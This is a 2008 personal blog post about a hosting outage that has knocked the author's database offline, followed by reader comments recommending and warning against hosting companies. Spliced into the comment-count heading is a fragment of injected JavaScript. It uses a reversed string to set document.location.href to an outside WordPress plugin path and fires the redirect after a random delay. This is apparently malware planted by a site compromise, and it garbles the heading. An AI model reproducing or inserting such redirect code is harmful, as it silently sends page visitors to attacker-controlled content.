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Posted on March 22, 2008 by Colin B.

I think I have to move to a different hosting company again… The one I’m with now (I only moved back there a few weeks ago) has been very good until now but since last night my SQL database (where every post and comment from my blog are held) has been “unreachable”. In other words the SQL server has been down for 24 hours!

This. Sucks. Balls. (I have removed a lot of swear words from this part of the post because I didn’t want to shock you too much)

Thank goat I can post here and vent. But I miss my therapeutic blog! 🙁

What are your favourite hosting companies? Which one would you recommend?

Colin

Bonus swear word: Penis.

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11 Responses to therapy in the making is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down! I. must. keep. calm.

  1. Abraxus says:
    March 22, 2008 at 19:08

    Allow me to explain how little help I am going to be in this discussion. I have heard the term MySQL. And that’s it.

    I hope you find a reliable Hosting service but I won’t muddy the waters any further for you by splashing about in a pool i’ve no business being in.

  2. daniel says:
    March 23, 2008 at 00:11

    Okay, penis is so not a swear word. Penis. I’ll say it again… Penis. Penis. Penis. Penis. Penis. Penis. Penis. Penis. Penis.

    See? Not swearing. wink More like scientific. Besides, our Pandora HAS dropped the f-bomb more than once…

  3. yoshi says:
    March 23, 2008 at 07:56

    Hmm. Hosting providers to recommend? Hostgator is pretty decent. So is EllisLab hosting but you don’t have EE, so there’s no real advantage for you, although how ironic would it be to run a wordpress blog on ellislab hosting. raspberry

    Other than that, I have no other recommendations.

  4. Danalyn says:
    March 23, 2008 at 08:40

    Daniel: That’s what I keep telling him. He needs to start using *real* swear words! lol

    As for hosting, I don’t have any recommendations. I, myself, have mixed reviews about hostgator…I also have a love/hate relationship with surpasshosting…STAY AWAY FROM GODADDY HOSTING!

  5. Colin B. says:
    March 23, 2008 at 09:25

    Abraxus :: Sometimes I just want to switch to a wordpress.com account and get it over with but I like being in charge of my hosting and generally complicating things for myself. You’re lucky you don’t have things lke that to worry about.

    Daniel :: Okay… Bollocks! How’s this for a swear word? I don’t use normal swear words. Even when I swear I like to be original or whatever…

    Yoshi :: I’ll look into it. I might check out which hosting companies WordPress recommends too. Any opinion on bluehost or dreamhost? I’m leaning towards dreamhost.

    Danalyn :: I am definitely staying away from GoDaddy. And here’s a another swear word for your amusement “they’re all bloody twats”!

  6. yoshi says:
    March 23, 2008 at 09:32

    I’ve never heard anything good from dreamhost, but that was a while ago. dana would know more i’m sure. 😀

  7. daniel says:
    March 23, 2008 at 10:18

    @yoshi remember my dreamhost nightmare??

  8. yoshi says:
    March 23, 2008 at 10:24

    @daniel omg i didn’t until now! *screams!*

  9. Colin B. says:
    March 23, 2008 at 10:53

    Oh dear… There was a nightmare? A nightmare that makes Yoshi scream?! *crosses dreamhost off the list*

  10. daniel says:
    March 23, 2008 at 19:20

    @colin… wise. they suck… srsly. you get what you pay for, and hosting is no different. look for mid-grade pricing at the minimum. dreamhost was awful!

  11. Colin B. says:
    March 23, 2008 at 19:33

    daniel :: Before I moved to the server I’m at now I was with hostmysite which was good and had no outages but they have some weird caching on their servers which caused my blog to not update as soon as I made changes to it. It would take too long for posts and comments to appear on the site even though they were on there and I would receive notifications about them . Also any changes I made to the template would require me to reset the template for them to show. Oh yes, this comment is regarding the whole mid-grade pricing, hostmysite was a lot more expensive than the host I’m with now. I’ll keep looking… smile

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